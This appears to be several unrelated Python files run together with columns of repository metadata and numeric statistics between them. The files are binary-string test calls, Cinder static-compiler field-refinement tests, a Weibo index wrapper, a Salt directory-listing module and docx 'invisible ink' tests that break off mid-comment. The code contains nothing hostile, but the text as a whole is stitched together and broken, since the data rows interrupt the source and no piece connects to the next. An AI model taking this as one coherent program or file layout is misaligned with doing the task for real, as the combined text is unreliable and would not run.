print(fn({"10", "0", "1"}, m=1, n=1))
print(fn(["111", "1000", "1000", "1000"], 9, 3))
print(
fn([
'0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '1', '1', '1', '1',
'1', '1', '00', '01', '01', '10', '11', '11', '101', '0011', '0111',
'1000', '1000', '01111', '11101', '0110101'
], 9, 80))
print(
fn([
'0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0',
'0', '0', '0', '0', '0', '1', '1', '1', '1', '1', '1', '1', '1', '1',
'1', '1', '1', '1', '1', '1', '1', '1', '1', '1', '1', '1', '1', '1',
'1', '1', '1', '1'
], 52, 12))
print(fn(['01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '01', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11', '11'], 50, 50))
print(fn(["1"] * 100 + ["0"] * 100 + ["10"] * 400, 100, 100))
print(fn(
["1101","0101","01","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101","1101","0101"],
66,
26
))
| 97.5
| 3,686
| 0.433386
| 1,442
| 9,555
| 2.871706
| 0.065187
| 0.254045
| 0.37817
| 0.502294
| 0.79546
| 0.790147
| 0.77759
| 0.77759
| 0.77759
| 0.77759
| 0
| 0.427866
| 0.173731
| 9,555
| 97
| 3,687
| 98.505155
| 0.096643
| 0.015489
| 0
| 0.083333
| 0
| 0
| 0.353035
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.041667
| false
| 0
| 0.013889
| 0.013889
| 0.125
| 0.111111
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 11
|
750df0d4e84df5cae1e89585c4baac2aaaa20da9
| 98
|
py
|
Python
|
test/input/072.py
|
EliRibble/pyfmt
|
e84a5531a7c06703eddd9dbc2072b0c8deae8c57
|
[
"MIT"
] | null | null | null |
test/input/072.py
|
EliRibble/pyfmt
|
e84a5531a7c06703eddd9dbc2072b0c8deae8c57
|
[
"MIT"
] | null | null | null |
test/input/072.py
|
EliRibble/pyfmt
|
e84a5531a7c06703eddd9dbc2072b0c8deae8c57
|
[
"MIT"
] | null | null | null |
def long_function_def(some_really_long_parameter_name, another_really_long_parameter_name):
pass
| 32.666667
| 91
| 0.908163
| 15
| 98
| 5.266667
| 0.6
| 0.253165
| 0.481013
| 0.582278
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.05102
| 98
| 2
| 92
| 49
| 0.849462
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.5
| false
| 0.5
| 0
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 7
|
7531cc51a58b080b018f3449e17198eb0c6c38a5
| 15,410
|
py
|
Python
|
Lib/test/test_compiler/test_static/refine_fields.py
|
itamaro/cinder
|
a08198c185a255b59f85dc84183558370a0c5284
|
[
"CNRI-Python-GPL-Compatible"
] | null | null | null |
Lib/test/test_compiler/test_static/refine_fields.py
|
itamaro/cinder
|
a08198c185a255b59f85dc84183558370a0c5284
|
[
"CNRI-Python-GPL-Compatible"
] | null | null | null |
Lib/test/test_compiler/test_static/refine_fields.py
|
itamaro/cinder
|
a08198c185a255b59f85dc84183558370a0c5284
|
[
"CNRI-Python-GPL-Compatible"
] | null | null | null |
import dis
from compiler.static.types import TypedSyntaxError, _TMP_VAR_PREFIX
from .common import StaticTestBase
class RefineFieldsTests(StaticTestBase):
def test_can_refine_loaded_field(self) -> None:
codestr = """
class C:
def __init__(self) -> None:
self.x: int | None = None
def f(self) -> None:
if self.x is not None:
reveal_type(self.x)
"""
self.revealed_type(codestr, "int")
def test_cannot_refine_property(self) -> None:
codestr = """
class C:
@property
def x(self) -> int | None:
return 42
def f(self) -> None:
if self.x is not None:
reveal_type(self.x)
"""
self.revealed_type(codestr, "Optional[int]")
def test_refinements_are_invalidated_with_calls(self) -> None:
codestr = """
class C:
def __init__(self) -> None:
self.x: int | None = None
def f(self) -> None:
if self.x is not None:
open("a.py")
reveal_type(self.x)
"""
self.revealed_type(codestr, "Optional[int]")
def test_refinements_are_invalidated_with_stores(self) -> None:
codestr = """
class C:
def __init__(self) -> None:
self.x: int | None = None
def f(self) -> None:
if self.x is not None:
self.x = None
reveal_type(self.x)
"""
self.revealed_type(codestr, "Exact[None]")
def test_refinements_restored_after_write_with_interfering_calls(self) -> None:
codestr = """
class C:
def __init__(self) -> None:
self.x: int | None = None
def f(self) -> None:
if self.x is not None:
self.x = None
open("a.py")
reveal_type(self.x)
"""
self.revealed_type(codestr, "Optional[int]")
def test_refinements_are_not_invalidated_with_known_safe_attr_stores(self) -> None:
codestr = """
class C:
def __init__(self) -> None:
self.x: int | None = None
self.y: None = None
def f(self) -> None:
if self.x is not None:
self.y = None
reveal_type(self.x)
"""
self.revealed_type(codestr, "int")
def test_refinements_are_invalidated_with_unknown_attr_stores(self) -> None:
codestr = """
class C:
def __init__(self) -> None:
self.x: int | None = None
def f(self, other) -> None:
if self.x is not None:
other.y = None
reveal_type(self.x)
"""
self.revealed_type(codestr, "Optional[int]")
def test_refinements_are_preserved_with_simple_assignments(self) -> None:
codestr = """
class C:
def __init__(self) -> None:
self.x: int | None = None
self.y: None = None
def f(self) -> None:
if self.x is not None:
a = self.x
reveal_type(self.x)
"""
self.revealed_type(codestr, "int")
def test_isinstance_refinement(self) -> None:
codestr = """
class C:
def __init__(self) -> None:
self.x: int | None = None
self.y: None = None
def f(self) -> None:
if isinstance(self.x, int):
reveal_type(self.x)
"""
self.revealed_type(codestr, "int")
def test_refinements_cleared_when_merging_branches(self) -> None:
codestr = """
class C:
def __init__(self) -> None:
self.x: int | None = None
def f(self) -> None:
if self.x is not None:
pass
reveal_type(self.x)
"""
self.revealed_type(codestr, "Optional[int]")
def test_type_not_refined_outside_while_loop(self) -> None:
codestr = """
class C:
def __init__(self) -> None:
self.x: int | None = None
def f(self) -> None:
while self.x is None:
pass
reveal_type(self.x)
"""
self.revealed_type(codestr, "Optional[int]")
def test_type_not_refined_when_visiting_name(self) -> None:
codestr = """
class C:
def __init__(self) -> None:
self.x: int | None = None
def f(self) -> None:
if self.x:
reveal_type(self.x)
"""
self.revealed_type(codestr, "Optional[int]")
def test_type_not_refined_for_attribute_test_with_custom_bool(self) -> None:
codestr = """
class D:
def __bool__(self) -> bool:
return True
class C:
def __init__(self) -> None:
self.x: D | None = None
def f(self) -> None:
if self.x:
reveal_type(self.x)
"""
self.revealed_type(codestr, "Optional[<module>.D]")
def test_type_not_refined_for_attribute_test_without_custom_bool(self) -> None:
# We might want to support this in the future for final classes.
codestr = """
class D:
pass
class C:
def __init__(self) -> None:
self.x: D | None = None
def f(self) -> None:
if self.x:
reveal_type(self.x)
"""
self.revealed_type(codestr, "Optional[<module>.D]")
def test_type_refined_after_if_branch(self) -> None:
codestr = """
class C:
def __init__(self) -> None:
self.x: int | None = None
def f(self) -> None:
if self.x is None:
self.x = 4
reveal_type(self.x)
"""
self.revealed_type(codestr, "int")
def test_refined_field_codegen(self) -> None:
codestr = """
class C:
def __init__(self, x: int | None) -> None:
self.x: int | None = x
def f(self) -> int | None:
if self.x is not None:
a = self.x
return a * 2
"""
with self.in_module(codestr) as mod:
# Write to the temp.
self.assertInBytecode(mod.C.f, "STORE_FAST")
# Load from the temp directly in the second read.
self.assertInBytecode(mod.C.f, "LOAD_FAST")
self.assertEqual(mod.C(21).f(), 42)
def test_refinements_cleared_in_if_with_implicit_bool(self) -> None:
codestr = """
class C:
def __init__(self) -> None:
self.x: int | None = None
def f(self, y) -> None:
if self.x is not None:
if y:
reveal_type(self.x)
"""
self.revealed_type(codestr, "Optional[int]")
def test_refinements_cleared_in_assert_with_implicit_bool(self) -> None:
codestr = """
class C:
def __init__(self) -> None:
self.x: int | None = None
def f(self, y) -> None:
if self.x is not None:
assert(y)
reveal_type(self.x)
"""
self.revealed_type(codestr, "Optional[int]")
def test_refined_field_assert_unoptimized(self) -> None:
codestr = """
class C:
def __init__(self, x: int | None) -> None:
self.x: int | None = x
def f(self) -> int:
assert self.x is not None
return self.x
"""
with self.in_module(codestr) as mod:
# Write to the temp.
self.assertInBytecode(mod.C.f, "STORE_FAST")
# Load from the temp directly in the second read.
self.assertInBytecode(mod.C.f, "LOAD_FAST")
self.assertEqual(mod.C(21).f(), 21)
def test_refined_field_assert_optimized(self) -> None:
codestr = """
class C:
def __init__(self, x: int | None) -> None:
self.x: int | None = x
def f(self) -> int:
assert self.x is not None
return self.x
"""
with self.in_module(codestr, optimize=2) as mod:
# Write to the temp.
self.assertInBytecode(mod.C.f, "STORE_FAST")
# Load from the temp directly in the second read.
self.assertInBytecode(mod.C.f, "LOAD_FAST")
self.assertInBytecode(mod.C.f, "CAST")
self.assertEqual(mod.C(21).f(), 21)
def test_field_not_refined_if_one_branch_is_unrefined(self) -> None:
codestr = """
class C:
def __init__(self, x: int | None) -> None:
self.x: int | None = x
def f(self, b) -> int:
if b:
assert self.x is not None
reveal_type(self.x)
"""
self.revealed_type(codestr, "Optional[int]")
def test_refined_field_if_merge_branch_to_default(self) -> None:
codestr = """
class C:
def __init__(self, x: int | None) -> None:
self.x: int | None = x
def f(self, b: bool) -> int:
assert self.x is not None
if b:
assert self.x is not None
reveal_type(self.x)
"""
self.revealed_type(codestr, "int")
def test_fields_not_refined_if_dunder_bool_called_in_if(self) -> None:
codestr = """
class C:
def __init__(self, x: int | None) -> None:
self.x: int | None = x
def f(self, b) -> int:
assert self.x is not None
if b:
assert self.x is not None
reveal_type(self.x)
"""
self.revealed_type(codestr, "Optional[int]")
def test_refined_field_if_merge_branch_to_orelse(self) -> None:
codestr = """
class C:
def __init__(self, x: int | None) -> None:
self.x: int | None = x
def f(self, b) -> int:
if b:
assert self.x is not None
else:
assert self.x is not None
reveal_type(self.x)
"""
self.revealed_type(codestr, "int")
def test_refined_field_if_merge_branch_to_default_codegen(self) -> None:
codestr = """
class C:
def __init__(self, x: int | None) -> None:
self.x: int | None = x
def f(self, b: bool) -> int:
if self.x is None:
open("a.py") # Add a call to clear refinements.
assert self.x is not None
return self.x
"""
with self.in_module(codestr) as mod:
refined_write_count = 0
tmp_name = f"{_TMP_VAR_PREFIX}.__refined_field__.0"
for instr in dis.get_instructions(mod.C.f):
if instr.opname == "STORE_FAST" and instr.argval == tmp_name:
refined_write_count += 1
# Ensure that we have a refined write in both branches.
self.assertEqual(refined_write_count, 2)
self.assertInBytecode(mod.C.f, "LOAD_FAST", tmp_name)
def test_refined_field_if_merge_branch_to_orelse_codegen(self) -> None:
codestr = """
class C:
def __init__(self, x: int | None) -> None:
self.x: int | None = x
def f(self, b) -> int:
if b:
assert self.x is not None
else:
assert self.x is not None
return self.x
"""
with self.in_module(codestr) as mod:
refined_write_count = 0
tmp_name = f"{_TMP_VAR_PREFIX}.__refined_field__.0"
for instr in dis.get_instructions(mod.C.f):
if instr.opname == "STORE_FAST" and instr.argval == tmp_name:
refined_write_count += 1
# Ensure that we have a refined write in both branches.
self.assertEqual(refined_write_count, 2)
self.assertInBytecode(mod.C.f, "LOAD_FAST", tmp_name)
def test_refined_field_if_merge_branch_to_orelse_no_refinement(self) -> None:
codestr = """
from typing import Optional
class C:
def __init__(self, x: int | None) -> None:
self.x: int | None = x
def f(self, b) -> Optional[int]:
if b:
assert self.x is not None
else:
assert self.x is not None
open("a.py")
return self.x
"""
with self.in_module(codestr) as mod:
refined_write_count = 0
tmp_name = f"{_TMP_VAR_PREFIX}.__refined_field__.1"
for instr in dis.get_instructions(mod.C.f):
if instr.opname == "STORE_FAST" and instr.argval == tmp_name:
refined_write_count += 1
# Ensure that we don't have any refinements without usees.
self.assertEqual(refined_write_count, 0)
self.assertNotInBytecode(mod.C.f, "LOAD_FAST", tmp_name)
def test_refined_field_while_merge_branch(self) -> None:
codestr = """
class C:
def __init__(self, x: int | None) -> None:
self.x: int | None = x
def f(self, b) -> int:
assert self.x is not None
while b is not None:
b = not b
assert self.x is not None
reveal_type(self.x)
"""
self.revealed_type(codestr, "int")
def test_refined_field_when_storing(self) -> None:
codestr = """
class C:
def __init__(self, x: int | None) -> None:
self.x: int | None = x
def f(self, x: int) -> int:
self.x = x
return self.x
"""
with self.in_module(codestr) as mod:
c = mod.C(21)
self.assertEqual(c.x, 21)
self.assertEqual(c.f(42), 42)
self.assertEqual(c.x, 42)
| 34.55157
| 87
| 0.46963
| 1,732
| 15,410
| 3.939376
| 0.086605
| 0.08061
| 0.0469
| 0.066833
| 0.85417
| 0.827495
| 0.827202
| 0.821633
| 0.814451
| 0.800381
| 0
| 0.004475
| 0.434458
| 15,410
| 445
| 88
| 34.629213
| 0.778428
| 0.027774
| 0
| 0.822581
| 0
| 0
| 0.606907
| 0.007414
| 0
| 0
| 0
| 0
| 0.104839
| 1
| 0.077957
| false
| 0.008065
| 0.010753
| 0
| 0.115591
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
f3754edc96fd65d9844a000f4dd713943e7f08c7
| 198
|
py
|
Python
|
opendatatools/sns/sns_interface.py
|
solider245/OpenData
|
031aa29b7b6b26a903f378e3da10520fd3a1b7ab
|
[
"Apache-2.0"
] | 1,179
|
2018-05-28T07:14:41.000Z
|
2022-03-27T16:03:51.000Z
|
opendatatools/sns/sns_interface.py
|
taoyeah/OpenData
|
031aa29b7b6b26a903f378e3da10520fd3a1b7ab
|
[
"Apache-2.0"
] | 42
|
2018-07-05T02:44:56.000Z
|
2022-03-29T12:12:30.000Z
|
opendatatools/sns/sns_interface.py
|
taoyeah/OpenData
|
031aa29b7b6b26a903f378e3da10520fd3a1b7ab
|
[
"Apache-2.0"
] | 297
|
2018-05-28T07:39:38.000Z
|
2022-03-28T02:35:59.000Z
|
# encoding: utf-8
from .weibo_agent import WeiboAgent
weibo_agent = WeiboAgent()
# 1hour, 1day, 1month, 3month
def get_weibo_index(word, type):
return weibo_agent.get_weibo_index(word, type)
| 19.8
| 50
| 0.762626
| 29
| 198
| 4.965517
| 0.62069
| 0.208333
| 0.180556
| 0.236111
| 0.291667
| 0
| 0
| 0
| 0
| 0
| 0
| 0.029412
| 0.141414
| 198
| 9
| 51
| 22
| 0.817647
| 0.217172
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0
| 0.25
| 0.25
| 0.75
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 8
|
f37d271a2d0c431f79bb3b5c1abb0667652e14a0
| 174
|
py
|
Python
|
unittest_reinvent/transfer_learning_tests/__init__.py
|
fujirock/Reinvent
|
9c57636f9d32b4ce5b75670f43906a70d5daf886
|
[
"MIT"
] | 4
|
2021-05-11T05:34:01.000Z
|
2022-03-30T10:04:21.000Z
|
unittest_reinvent/transfer_learning_tests/__init__.py
|
prasannavd/Reinvent
|
ca02ebee8d8ed83223c55f4a1dd1b3fbc2359616
|
[
"MIT"
] | null | null | null |
unittest_reinvent/transfer_learning_tests/__init__.py
|
prasannavd/Reinvent
|
ca02ebee8d8ed83223c55f4a1dd1b3fbc2359616
|
[
"MIT"
] | 2
|
2021-06-01T11:56:10.000Z
|
2021-10-05T04:33:56.000Z
|
from unittest_reinvent.transfer_learning_tests.test_transfer_learning import *
from unittest_reinvent.transfer_learning_tests.test_transfer_learning_with_validation import *
| 58
| 94
| 0.91954
| 22
| 174
| 6.727273
| 0.454545
| 0.432432
| 0.27027
| 0.378378
| 0.824324
| 0.824324
| 0.824324
| 0.824324
| 0.824324
| 0
| 0
| 0
| 0.045977
| 174
| 2
| 95
| 87
| 0.891566
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 13
|
344c8ac7834d00e98efcd7552fd03cf1d4cdf3b6
| 1,229
|
py
|
Python
|
_modules/minionmanage.py
|
djivey/kinetic
|
8d949f9dba8965c8d4f679d439290b171be7c398
|
[
"Apache-2.0"
] | null | null | null |
_modules/minionmanage.py
|
djivey/kinetic
|
8d949f9dba8965c8d4f679d439290b171be7c398
|
[
"Apache-2.0"
] | null | null | null |
_modules/minionmanage.py
|
djivey/kinetic
|
8d949f9dba8965c8d4f679d439290b171be7c398
|
[
"Apache-2.0"
] | null | null | null |
import salt.utils.network as network
import salt.modules.file as file
__virtualname__ = 'minionmanage'
def __virtual__():
return __virtualname__
def populate_cache(path):
pending = file.readdir(path)
pending.remove('.')
pending.remove('..')
return pending
def populate_controller(path):
pending = file.readdir(path)
pending.remove('.')
pending.remove('..')
return pending
def populate_controllerv2(path):
pending = file.readdir(path)
pending.remove('.')
pending.remove('..')
return pending
def populate_storage(path):
pending = file.readdir(path)
pending.remove('.')
pending.remove('..')
return pending
def populate_storagev2(path):
pending = file.readdir(path)
pending.remove('.')
pending.remove('..')
return pending
def populate_compute(path):
pending = file.readdir(path)
pending.remove('.')
pending.remove('..')
return pending
def populate_computev2(path):
pending = file.readdir(path)
pending.remove('.')
pending.remove('..')
return pending
def populate_container(path):
pending = file.readdir(path)
pending.remove('.')
pending.remove('..')
return pending
def populate_containerv2(path):
pending = file.readdir(path)
pending.remove('.')
pending.remove('..')
return pending
| 19.822581
| 36
| 0.725793
| 144
| 1,229
| 6.048611
| 0.180556
| 0.227325
| 0.154994
| 0.227325
| 0.772675
| 0.772675
| 0.772675
| 0.772675
| 0.772675
| 0.772675
| 0
| 0.003697
| 0.119609
| 1,229
| 61
| 37
| 20.147541
| 0.801294
| 0
| 0
| 0.72
| 0
| 0
| 0.031733
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.2
| false
| 0
| 0.04
| 0.02
| 0.44
| 0
| 0
| 0
| 0
| null | 1
| 0
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
347dacb76fb4e8c4fdf5e174839a812d06380de3
| 16,672
|
py
|
Python
|
tests/test_chapter06.py
|
JoseALermaIII/impracticalpythonprojects
|
0c22c20618243f576f58e8c8bdfb9ce4cd46be5a
|
[
"MIT"
] | null | null | null |
tests/test_chapter06.py
|
JoseALermaIII/impracticalpythonprojects
|
0c22c20618243f576f58e8c8bdfb9ce4cd46be5a
|
[
"MIT"
] | 13
|
2019-05-25T08:26:39.000Z
|
2019-10-19T20:37:00.000Z
|
tests/test_chapter06.py
|
JoseALermaIII/impracticalpythonprojects
|
0c22c20618243f576f58e8c8bdfb9ce4cd46be5a
|
[
"MIT"
] | null | null | null |
"""Test Chapter 6."""
import os
import unittest.mock
from io import StringIO
from platform import system
from docx import Document
from docx.shared import RGBColor
import src.ch06.p1_invisible_ink as invisible_ink
import src.ch06.c1_invisible_ink_mono as invisible_ink_mono
import tests.data.ch06.constants as constants
class TestInvisibleInk(unittest.TestCase):
"""Test Invisible Ink."""
def test_get_text(self):
"""Test get_text."""
testfile = os.path.normpath('tests/data/ch06/fake.docx')
# Test that it doesn't skip blanks.
paragraphs = invisible_ink.get_text(testfile, skip_blank=False)
self.assertEqual(paragraphs.count(''), 4)
# Test that it does skip blanks.
paragraphs = invisible_ink.get_text(testfile)
self.assertEqual(paragraphs.count(''), 0)
# Test that it read contents.
self.assertEqual(constants.GET_TEST, paragraphs)
def test_check_blanks(self):
"""Test check_blanks."""
fakefile = os.path.normpath('tests/data/ch06/fake.docx')
cipherfile = os.path.normpath('tests/data/ch06/cipher.docx')
# Test that it doesn't need extra blanks.
faketext = invisible_ink.get_text(fakefile, False)
ciphertext = invisible_ink.get_text(cipherfile)
blanks_needed = invisible_ink.check_blanks(faketext, ciphertext)
self.assertEqual(blanks_needed, 0)
# Test that it does need extra blanks.
faketext = invisible_ink.get_text(fakefile)
blanks_needed = invisible_ink.check_blanks(faketext, ciphertext)
self.assertEqual(blanks_needed, 3)
faketext.append('')
blanks_needed = invisible_ink.check_blanks(faketext, ciphertext)
self.assertEqual(blanks_needed, 2)
faketext.append('')
blanks_needed = invisible_ink.check_blanks(faketext, ciphertext)
self.assertEqual(blanks_needed, 1)
faketext.append('')
blanks_needed = invisible_ink.check_blanks(faketext, ciphertext)
self.assertEqual(blanks_needed, 0)
def test_write_invisible(self):
"""Test write_invisible."""
fakefile = os.path.normpath('tests/data/ch06/fake.docx')
cipherfile = os.path.normpath('tests/data/ch06/cipher.docx')
faketext = invisible_ink.get_text(fakefile, False)
ciphertext = invisible_ink.get_text(cipherfile)
current_dir = os.path.curdir
# Test default template and filename.
invisible_ink.write_invisible(faketext, ciphertext)
output_file = os.path.join(current_dir, 'output.docx')
self.assertTrue(os.path.exists(output_file))
output_text = invisible_ink.get_text(output_file)
all_text = [element for element in faketext if element != ''] + \
ciphertext
self.assertEqual(len(all_text), len(output_text))
for line in output_text:
self.assertIn(line, all_text)
# Check color
doc = Document(output_file)
for paragraph in doc.paragraphs:
if paragraph.text in ciphertext:
for run in paragraph.runs:
self.assertEqual(run.font.color.rgb,
RGBColor(255, 255, 255))
os.remove(output_file)
# Test custom template and filename.
template_file = os.path.normpath('tests/data/ch06/template.docx')
output_file = os.path.join(current_dir, 'letter.docx')
invisible_ink.write_invisible(faketext, ciphertext, template_file, 'letter.docx')
self.assertTrue(os.path.exists(output_file))
output_text = invisible_ink.get_text(output_file)
all_text = [element for element in faketext if element != ''] + \
ciphertext
self.assertEqual(len(all_text), len(output_text))
for line in output_text:
self.assertIn(line, all_text)
# Check color
doc = Document(output_file)
for paragraph in doc.paragraphs:
if paragraph.text in ciphertext:
for run in paragraph.runs:
self.assertEqual(run.font.color.rgb,
RGBColor(255, 255, 255))
os.remove(output_file)
# Test error.
faketext = invisible_ink.get_text(fakefile)
error = ('3 more blanks are needed in the '
'plaintext (fake) message.')
with self.assertRaises(ValueError) as err:
invisible_ink.write_invisible(faketext, ciphertext)
self.assertEqual(error, str(err.exception))
@unittest.mock.patch('src.ch06.p1_invisible_ink.Path.resolve')
@unittest.mock.patch('sys.stdout', new_callable=StringIO)
def test_main(self, mock_stdout, mock_abspath):
"""Test demo main function."""
# FIXME: Why doesn't current_dir = os.path.abspath('./p1files') and
# fakefile = os.path.join(current_dir, 'fake.docx') used in
# src/ch06.p1_invisible_ink.main work with
